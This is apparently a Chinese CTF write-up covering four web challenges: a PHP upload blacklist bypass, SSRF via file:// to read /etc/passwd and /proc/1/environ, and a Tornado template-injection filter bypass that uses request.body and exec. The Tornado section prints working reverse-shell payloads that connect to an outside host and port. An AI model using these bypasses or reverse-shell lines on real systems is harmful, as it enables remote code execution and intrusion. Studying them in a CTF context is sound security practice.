WEB

php签到

一个文件上传的题目,重点在绕pathinfo($filename, PATHINFO_EXTENSION)

参考链接:2021/11/29文件上传-内容及其它逻辑数组绕过

源码:

<?php

function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

需要自备一个上传的前端。

上传时,上传的文件名为xxx.php/.,即可让$ext的值为空,从而绕过waf。需要注意的是,要对文件名来一次url编码,不然会出错。(题目对文件名来了一个urldecode也算是一个提醒吧)。flag就在环境变量里。

上传时

上传成功

2周年快乐!

纯前端的win12,要和出题人对个脑洞(

  1. 在D盘的NSSCTF_2nd_WriteUp文件夹里里发现一个hint。

  2. 在桌面的获取FLAG中得到另一个有用的信息。

  3. 结合上述条件,可以猜测是在终端里执行curl https://www.nssctf.cn/flag

  4. 打开终端,输入队伍的token,然后输入curl https://www.nssctf.cn/flag,即可将flag发到队长的站内邮箱里,去查看站内消息就能看到flag了。

MyBox

这个题存在非预期,用到非预期做的。

  1. 打开题目,只看到一个/?url=dosth

  2. 猜测是ssrf,使用file协议尝试读文件,发现能读。/?url=file:///etc/passwd

  3. /proc/1/environ,即可得到flag。

MyHurricane

tornado的ssti,狠狠地学习了一波。

参考链接:tornado模板注入

Tornado 官方文档

  1. 源码:

    import tornado.ioloop
    import tornado.web
    import os

    BASE_DIR = os.path.dirname(__file__)

    def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
    if c in data:
    return False
    for chunk in data.split():
    for c in chunk:
    if not (31 < ord(c) < 128):
    return False
    return True

    class IndexHandler(tornado.web.RequestHandler):
    def get(self):
    with open(__file__, 'r') as f:
    self.finish(f.read())
    def post(self):
    data = self.get_argument("ssti")
    if waf(data):
    with open('1.html', 'w') as f:
    f.write(f"""<html>
    <head></head>
    <body style="font-size: 30px;">{data}</body></html>
    """)
    f.flush()
    self.render('1.html')
    else:
    self.finish('no no no')

    if __name__ == "__main__":
    app = tornado.web.Application([
    (r"/", IndexHandler),
    ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()
  2. 从源码可以看到,post的ssti参数那里存在ssti。

  3. 过滤了{{`、`}}()、单双引号,极其麻烦。

  4. 先学习一波,学习的时候在本地调试,可以发现在无过滤的情况下,该ssti是可以直接执行eval的,但在前端是没有回显的,只返回500,但能在后台执行命令。

  5. 由于过滤了一些东西,我们需要做一些替换,用{% %}代替{{ }},在文章的下面我们还看到能绕小括号的方法。

  6. 由此我们可以发现,我们可以不用括号执行eval,而前面的'print(123)'eval的参数,那么我们从别处接收到参数,即可绕过小括号的限制。

  7. 在文章的中间讲了request的用法,因此我们可以利用request来传递eval的参数。

  8. 我们在本地尝试用request.query,发现能成功执行命令。

  9. 从上边的调试中,我们成功突破了限制,在服务器执行了命令,接下来能成功反弹shell就行了。

  10. 在文章的末尾,我们看到了一个这样的payload,我们直接拿来用就行了

    __import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""
  11. 我们修改一下,把%0a替换成回车,把data替换成ssti,再填上反弹服务器的地址和端口,即可成功反弹shell。

    payload:

    __import__('os').system('bash -c \'bash -i >& /dev/tcp/7654du6216.zicp.fun/33699 0>&1\'')
    """
    &ssti={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&
    """

  12. 解释一下payload,{%autoescape None%}{%raw ...%}可以等同于{{ }},这个在官方文档中有写。

  13. request.body返回的是请求的主体,可以理解为返回了post里的所有内容。而下面的"""则是起注释作用,把我们不需要的部分注释掉,防止出错。